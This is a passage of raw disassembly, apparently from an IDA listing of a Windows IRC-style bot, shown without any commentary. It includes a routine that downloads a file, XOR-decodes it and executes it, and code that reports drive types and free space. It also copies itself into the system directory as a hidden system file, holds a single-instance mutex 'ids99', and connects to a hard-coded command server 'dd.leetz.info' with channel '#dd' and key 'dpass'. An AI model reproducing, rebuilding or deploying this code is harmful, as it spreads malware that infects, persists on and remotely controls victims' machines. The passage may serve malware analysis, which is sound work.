lea eax, [ebp+var_248]
push esi
push eax
push dword_43C9D4
call dword_43C934 ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_40C070
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call dword_421078 ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_40BCBE
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_42C114
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40BCA1
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412BD1
add esp, 14h
loc_40BCA1: ; CODE XREF: sub_40BBF7+88j
lea eax, [ebp+var_510]
push eax
call sub_40B078
push [ebp+var_48]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
loc_40BCBE: ; CODE XREF: sub_40BBF7+68j
xor edi, edi
call dword_42104C ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_415BE9
pop ecx
mov [ebp+var_1C], eax
loc_40BCD8: ; CODE XREF: sub_40BBF7+1A9j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_43C93C ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_40BD1C
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_40C0D6
pop ecx
pop ecx
loc_40BD1C: ; CODE XREF: sub_40BBF7+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call dword_421070 ; WriteFile
cmp edi, ebx
jnb short loc_40BD5A
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_40BD44
mov eax, [ebp+arg_0]
loc_40BD44: ; CODE XREF: sub_40BBF7+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call sub_4153F0
add esp, 0Ch
loc_40BD5A: ; CODE XREF: sub_40BBF7+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_40BD67
cmp edi, [ebp+var_3C]
ja short loc_40BDA6
loc_40BD67: ; CODE XREF: sub_40BBF7+169j
mov eax, edi
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_441998
cmp [ebp+var_44], 1
jz short loc_40BD8F
push offset unk_42C0C8
jmp short loc_40BD94
; ---------------------------------------------------------------------------
loc_40BD8F: ; CODE XREF: sub_40BBF7+18Fj
push offset unk_42C080
loc_40BD94: ; CODE XREF: sub_40BBF7+196j
push eax
call sub_415316
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_40BCD8
loc_40BDA6: ; CODE XREF: sub_40BBF7+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_40BDFB
cmp edi, [ebp+var_3C]
jz short loc_40BDFB
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_42C038
push eax
call sub_415316
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412BD1
lea eax, [ebp+var_510]
push eax
call sub_40B078
add esp, 28h
loc_40BDFB: ; CODE XREF: sub_40BBF7+1B9j
; sub_40BBF7+1BEj
call dword_42104C ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call dword_42106C ; CloseHandle
push [ebp+var_1C]
call sub_415C9B
cmp [ebp+var_38], esi
pop ecx
jz short loc_40BE85
lea eax, [ebp+var_148]
push eax
call sub_40B363
cmp eax, [ebp+var_38]
pop ecx
jz short loc_40BE85
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_42BFFC
push eax
call sub_415316
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412BD1
lea eax, [ebp+var_510]
push eax
call sub_40B078
add esp, 28h
loc_40BE85: ; CODE XREF: sub_40BBF7+236j
; sub_40BBF7+248j
cmp [ebp+var_14], esi
jz loc_40C0BD
cmp [ebp+var_44], 1
push ecx
lea eax, [ebp+var_148]
push ecx
jz loc_40BF80
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_421660
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_421660
fstp [esp+590h+var_590]
push offset unk_42BFB0
push eax
call sub_415316
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40BF00
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412BD1
add esp, 14h
loc_40BF00: ; CODE XREF: sub_40BBF7+2E7j
lea eax, [ebp+var_510]
push eax
call sub_40B078
cmp [ebp+var_40], 1
pop ecx
jnz loc_40C0BD
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_43C998 ; ShellExecuteA
cmp [ebp+var_30], esi
jnz loc_40C0BD
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_42BF74
push eax
call sub_415316
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412BD1
lea eax, [ebp+var_510]
push eax
call sub_40B078
add esp, 24h
jmp loc_40C0BD
; ---------------------------------------------------------------------------
loc_40BF80: ; CODE XREF: sub_40BBF7+2A3j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_421660
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_421660
fstp [esp+590h+var_590]
push offset unk_42BF20
push eax
call sub_415316
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40BFE0
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412BD1
add esp, 14h
loc_40BFE0: ; CODE XREF: sub_40BBF7+3C7j
lea eax, [ebp+var_510]
push eax
call sub_40B078
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_415390
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_415390
add esp, 1Ch
lea eax, [ebp+var_10]
mov [ebp+var_310], edi
xor edi, edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
inc edi
push eax
push esi
mov [ebp+var_304], offset byte_43B658
mov [ebp+var_2E4], edi
mov [ebp+var_2E0], si
call dword_4210EC ; CreateProcessA
cmp eax, edi
jnz short loc_40C062
call dword_43C984 ; WSACleanup
call sub_409D34
push esi
call dword_421114 ; ExitProcess
loc_40C062: ; CODE XREF: sub_40BBF7+457j
lea eax, [ebp+var_148]
push eax
push offset unk_42BED0
jmp short loc_40C07C
; ---------------------------------------------------------------------------
loc_40C070: ; CODE XREF: sub_40BBF7+45j
lea eax, [ebp+var_248]
push eax
push offset unk_42BE8C
loc_40C07C: ; CODE XREF: sub_40BBF7+477j
lea eax, [ebp+var_510]
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40C0B0
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412BD1
add esp, 14h
loc_40C0B0: ; CODE XREF: sub_40BBF7+497j
lea eax, [ebp+var_510]
push eax
call sub_40B078
pop ecx
loc_40C0BD: ; CODE XREF: sub_40BBF7+291j
; sub_40BBF7+31Aj ...
push [ebp+var_18]
call dword_43CA58 ; InternetCloseHandle
push [ebp+var_48]
call sub_4150F0
pop ecx
push esi
call dword_421048 ; ExitThread
sub_40BBF7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40C0D6 proc near ; CODE XREF: sub_40BBF7+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_40C0F2
loc_40C0E2: ; CODE XREF: sub_40C0D6+1Aj
mov dl, byte_42C258
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_40C0E2
locret_40C0F2: ; CODE XREF: sub_40C0D6+Aj
retn
sub_40C0D6 endp
; =============== S U B R O U T I N E =======================================
sub_40C0F3 proc near ; CODE XREF: sub_40CD3A+2878p
; sub_40CD3A+29E5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_417729
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_40C0F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C10D proc near ; CODE XREF: sub_4062F7+462p
; sub_4062F7+5FEp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_440DE0
push 0
push edi
call sub_415390
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_40C132: ; CODE XREF: sub_40C10D+5Bj
; sub_40C10D+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_417100
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_417180
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_40C170
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_40C132
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_40C132
; ---------------------------------------------------------------------------
loc_40C170: ; CODE XREF: sub_40C10D+4Bj
mov eax, edi
jmp short loc_40C179
; ---------------------------------------------------------------------------
loc_40C174: ; CODE XREF: sub_40C10D+72j
mov cl, [esi]
mov [eax], cl
inc eax
loc_40C179: ; CODE XREF: sub_40C10D+65j
dec esi
lea ecx, [ebp+var_38]
cmp esi, ecx
jnb short loc_40C174
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40C10D endp
; =============== S U B R O U T I N E =======================================
sub_40C18B proc near ; CODE XREF: sub_40C337+51p
; sub_40C337+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43CA84 ; GetDriveTypeA
sub eax, 0
jz short loc_40C1CE
dec eax
jz short loc_40C1C8
dec eax
dec eax
jz short loc_40C1C2
dec eax
jz short loc_40C1BC
dec eax
jz short loc_40C1B6
dec eax
jz short loc_40C1B0
mov eax, offset word_42B85C
retn
; ---------------------------------------------------------------------------
loc_40C1B0: ; CODE XREF: sub_40C18B+1Dj
mov eax, offset aRam ; "RAM"
retn
; ---------------------------------------------------------------------------
loc_40C1B6: ; CODE XREF: sub_40C18B+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_40C1BC: ; CODE XREF: sub_40C18B+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_40C1C2: ; CODE XREF: sub_40C18B+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_40C1C8: ; CODE XREF: sub_40C18B+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_40C1CE: ; CODE XREF: sub_40C18B+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_40C18B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C1D4 proc near ; CODE XREF: sub_40C21C+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_43C920
test eax, eax
jz short loc_40C209
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_40C209: ; CODE XREF: sub_40C1D4+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40C1D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C21C proc near ; CODE XREF: sub_40A9D8+1F3p
; sub_40C337+17p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_40C1D4
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_40C2F4
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_40C2F4
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_40C2F4
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_417770
push edx
push eax
call sub_40C10D
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41588A
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_417770
push edx
push eax
call sub_40C10D
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41588A
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_417770
push edx
push eax
call sub_40C10D
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41588A
add esp, 18h
pop ebx
jmp short loc_40C323
; ---------------------------------------------------------------------------
loc_40C2F4: ; CODE XREF: sub_40C21C+2Cj
; sub_40C21C+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_415316
lea eax, [ebp+var_118]
push esi
push eax
call sub_415316
lea eax, [ebp+var_98]
push esi
push eax
call sub_415316
add esp, 18h
loc_40C323: ; CODE XREF: sub_40C21C+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40C21C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C337 proc near ; CODE XREF: sub_40C409+17p
; sub_40C409+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_40C21C
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_415730
add esp, 10h
test eax, eax
jnz short loc_40C3AA
push ebx
push ebx
call sub_40C18B
pop ecx
push eax
push offset dword_42C1E0
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41588A
add esp, 14h
jmp short loc_40C3DE
; ---------------------------------------------------------------------------
loc_40C3AA: ; CODE XREF: sub_40C337+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_40C18B
pop ecx
push eax
push offset dword_42C190
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41588A
add esp, 20h
loc_40C3DE: ; CODE XREF: sub_40C337+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
lea eax, [ebp+var_500]
push eax
call sub_40B078
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40C337 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C409 proc near ; CODE XREF: sub_40CD3A+51BEp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_40C42A
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40C337
add esp, 10h
jmp short loc_40C489
; ---------------------------------------------------------------------------
loc_40C42A: ; CODE XREF: sub_40C409+9j
push esi
push edi
push ebx
push ebx
call dword_43C994 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_415BE9
pop ecx
mov edi, eax
push edi
push esi
call dword_43C994 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_40C480
loc_40C44E: ; CODE XREF: sub_40C409+75j
push offset aA_1 ; "A:\\"
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40C471
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40C337
add esp, 10h
loc_40C471: ; CODE XREF: sub_40C409+54j
push esi
call sub_415B10
lea esi, [esi+eax+1]
pop ecx
cmp [esi], bl
jnz short loc_40C44E
loc_40C480: ; CODE XREF: sub_40C409+43j
push edi
call sub_415C9B
pop ecx
pop edi
pop esi
loc_40C489: ; CODE XREF: sub_40C409+1Fj
pop ebx
pop ebp
retn
sub_40C409 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C48C proc near ; DATA XREF: sub_40C574+11o
var_2B8 = dword ptr -2B8h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_441BA4
call dword_43CABC ; closesocket
call sub_414F9D
call dword_43C984 ; WSACleanup
call dword_43C984 ; WSACleanup
mov ebx, dword_421060
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_415390
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_415390
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_43B658
mov [ebp+var_28], 1
mov [ebp+var_24], di
call dword_421058 ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call dword_42107C ; GetModuleFileNameA
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call dword_4210EC ; CreateProcessA
test eax, eax
jz short loc_40C551
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, dword_42106C
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_40C551: ; CODE XREF: sub_40C48C+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_440E14
mov eax, [esp+2B8h+var_2B8]
mov large fs:0, eax
add esp, 8
push edi
call dword_421114 ; ExitProcess
pop edi
pop esi
pop ebx
sub_40C48C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C574 proc near ; CODE XREF: .text:00417BE1p
var_988 = byte ptr -988h
var_884 = byte ptr -884h
var_883 = byte ptr -883h
var_6F4 = byte ptr -6F4h
var_5F4 = byte ptr -5F4h
var_4F0 = byte ptr -4F0h
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_1E8 = byte ptr -1E8h
var_E4 = byte ptr -0E4h
var_64 = dword ptr -64h
var_58 = dword ptr -58h
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_C], ebx
mov [ebp+var_8], offset sub_40C48C
push [ebp+var_8]
push large dword ptr fs:0
mov large fs:0, esp
cmp dword_42C24C, ebx
jz short loc_40C5AA
call sub_409EBC
loc_40C5AA: ; CODE XREF: sub_40C574+2Fj
mov esi, dword_42104C
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_46AE88, eax
call esi ; GetTickCount
push eax
call sub_415368
pop ecx
call sub_40891C
push 2
call dword_43CAD0 ; SetErrorMode
push 7530h
push offset aIds99 ; "ids99"
push ebx
push ebx
call dword_42112C ; CreateMutexA
push eax
call dword_421128 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40C5FE
push 1
call dword_421114 ; ExitProcess
loc_40C5FE: ; CODE XREF: sub_40C574+80j
lea eax, [ebp+var_884]
push eax
push 202h
call dword_43C99C ; WSAStartup
cmp eax, ebx
mov [ebp+var_8], eax
jnz loc_40CA4F
cmp [ebp+var_884], 2
jnz loc_40CA49
xor eax, eax
mov al, [ebp+var_883]
cmp al, 2
jnz loc_40CA49
mov esi, 104h
lea eax, [ebp+var_3F0]
push esi
push eax
call dword_421058 ; GetSystemDirectoryA
lea eax, [ebp+var_2EC]
push esi
push eax
push ebx
call dword_4210C8 ; GetModuleHandleA
push eax
call dword_42107C ; GetModuleFileNameA
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push ebx
lea eax, [ebp+var_2EC]
push ebx
push eax
call sub_4171E8
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push offset aSS_2 ; "%s%s"
lea eax, [ebp+var_5F4]
push esi
push eax
call sub_41588A
lea eax, [ebp+var_3F0]
push eax
lea eax, [ebp+var_2EC]
push eax
call sub_4158E0
add esp, 30h
test eax, eax
jnz loc_40C852
cmp dword_46AFF4, ebx
mov esi, offset byte_42C2B4
jz short loc_40C6F9
push esi
xor edi, edi
call sub_415B10
sub eax, 4
pop ecx
jz short loc_40C6F9
loc_40C6D6: ; CODE XREF: sub_40C574+183j
call sub_415372
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_42C2B4[edi], dl
inc edi
call sub_415B10
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_40C6D6
loc_40C6F9: ; CODE XREF: sub_40C574+152j
; sub_40C574+160j
lea eax, [ebp+var_3F0]
push esi
push eax
lea eax, [ebp+var_1E8]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_415316
add esp, 10h
lea eax, [ebp+var_1E8]
push eax
call dword_421094 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_40C739
lea eax, [ebp+var_1E8]
push 80h
push eax
call dword_4210F4 ; SetFileAttributesA
loc_40C739: ; CODE XREF: sub_40C574+1B1j
mov esi, dword_421124
xor edi, edi
jmp short loc_40C765
; ---------------------------------------------------------------------------
loc_40C743: ; CODE XREF: sub_40C574+204j
call dword_421088 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_40C77A
cmp eax, 20h
jz short loc_40C757
cmp eax, 5
jnz short loc_40C77A
loc_40C757: ; CODE XREF: sub_40C574+1DCj
xor edi, edi
push 3A98h
inc edi
call dword_421060 ; Sleep
loc_40C765: ; CODE XREF: sub_40C574+1CDj
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_2EC]
push eax
call esi ; CopyFileA
test eax, eax
jz short loc_40C743
loc_40C77A: ; CODE XREF: sub_40C574+1D7j
; sub_40C574+1E1j
lea eax, [ebp+var_1E8]
push eax
call sub_409C6E
pop ecx
lea eax, [ebp+var_1E8]
push 7
push eax
call dword_4210F4 ; SetFileAttributesA
push 10h
lea eax, [ebp+var_1C]
push ebx
push eax
call sub_415390
push 44h
lea eax, [ebp+var_64]
pop esi
push esi
push ebx
push eax
call sub_415390
mov [ebp+var_64], esi
xor esi, esi
inc esi
add esp, 18h
mov [ebp+var_58], offset byte_43B658
mov [ebp+var_38], esi
mov [ebp+var_34], bx
call dword_421120 ; GetCurrentProcessId
push eax
push esi
push 100000h
call dword_42111C ; OpenProcess
lea ecx, [ebp+var_2EC]
push ecx
push eax
lea eax, [ebp+var_1E8]
push eax
lea eax, [ebp+var_988]
push offset dword_43372C
push eax
call sub_415316
add esp, 14h
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_64]
push eax
lea eax, [ebp+var_3F0]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_988]
push ebx
push eax
lea eax, [ebp+var_1E8]
push eax
call dword_4210EC ; CreateProcessA
test eax, eax
jz short loc_40C852
push 0C8h
call dword_421060 ; Sleep
push [ebp+var_1C]
mov esi, dword_42106C
call esi ; CloseHandle
push [ebp+var_18]
call esi ; CloseHandle
call dword_43C984 ; WSACleanup
push ebx
call dword_421114 ; ExitProcess
loc_40C852: ; CODE XREF: sub_40C574+141j
; sub_40C574+2B4j
cmp dword_46BB20, 2
jle short loc_40C89E
mov eax, dword_46BB24
push dword ptr [eax+4]
call sub_41587F
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call dword_421128 ; WaitForSingleObject
push esi
call dword_42106C ; CloseHandle
mov eax, dword_46BB24
cmp [eax+8], ebx
jz short loc_40C89E
push 7D0h
call dword_421060 ; Sleep
mov eax, dword_46BB24
push dword ptr [eax+8]
call dword_421118 ; DeleteFileA
loc_40C89E: ; CODE XREF: sub_40C574+2E5j
; sub_40C574+30Fj
cmp dword_42C254, ebx
jz short loc_40C8BB
cmp dword_43CAF0, ebx
jnz short loc_40C8BB
lea eax, [ebp+var_5F4]
push eax
call sub_40B2B9
pop ecx
loc_40C8BB: ; CODE XREF: sub_40C574+330j
; sub_40C574+338j
lea eax, [ebp+var_E4]
push offset dword_433700
push eax
call sub_415316
push ebx
lea eax, [ebp+var_E4]
push ebx
push eax
call sub_414DDA
lea eax, [ebp+var_E4]
push eax
call sub_40B078
push 0B80h
push ebx
push offset dword_440E18
call sub_415390
call sub_415372
push 7Fh
push offset aDd_leetz_info ; "dd.leetz.info"
push offset dword_46AE94
mov dword_46B004, ebx
call sub_416BE0
mov eax, dword_42C238
push 3Fh
mov edi, offset dword_46AF14
push offset aDd_0 ; "#dd"
push edi
mov dword_46AFE4, eax
call sub_416BE0
push 3Fh
mov esi, offset dword_46AF54
push offset aDpass ; "dpass"
push esi
call sub_416BE0
add esp, 48h
mov dword_46AFE8, ebx
loc_40C949: ; CODE XREF: sub_40C574+47Bj
; sub_40C574+486j ...
mov [ebp+var_4], ebx
loc_40C94C: ; CODE XREF: sub_40C574+42Fj
cmp dword_43CB08, ebx
jnz short loc_40C96A
lea eax, [ebp+var_20]
push ebx
push eax
call dword_43C968 ; InternetGetConnectedState
test eax, eax
jnz short loc_40C96A
push 7530h
jmp short loc_40C996
; ---------------------------------------------------------------------------
loc_40C96A: ; CODE XREF: sub_40C574+3DEj
; sub_40C574+3EDj
push offset dword_46AE90
mov dword_46B000, ebx
call sub_40CA58
cmp eax, 2
mov [ebp+var_8], eax
jz loc_40CA44
cmp dword_46B000, ebx
jz short loc_40C991
dec [ebp+var_4]
loc_40C991: ; CODE XREF: sub_40C574+418j
push 0BB8h
loc_40C996: ; CODE XREF: sub_40C574+3F4j
call dword_421060 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_40C94C
cmp [ebp+var_8], 2
jz loc_40CA44
cmp [ebp+var_C], ebx
jz short loc_40C9F4
push 7Fh
push offset aDd_leetz_info ; "dd.leetz.info"
push offset dword_46AE94
call sub_416BE0
mov eax, dword_42C238
push 3Fh
push offset aDd_0 ; "#dd"
push edi
mov dword_46AFE4, eax
call sub_416BE0
push 3Fh
push offset aDpass ; "dpass"
push esi
call sub_416BE0
add esp, 24h
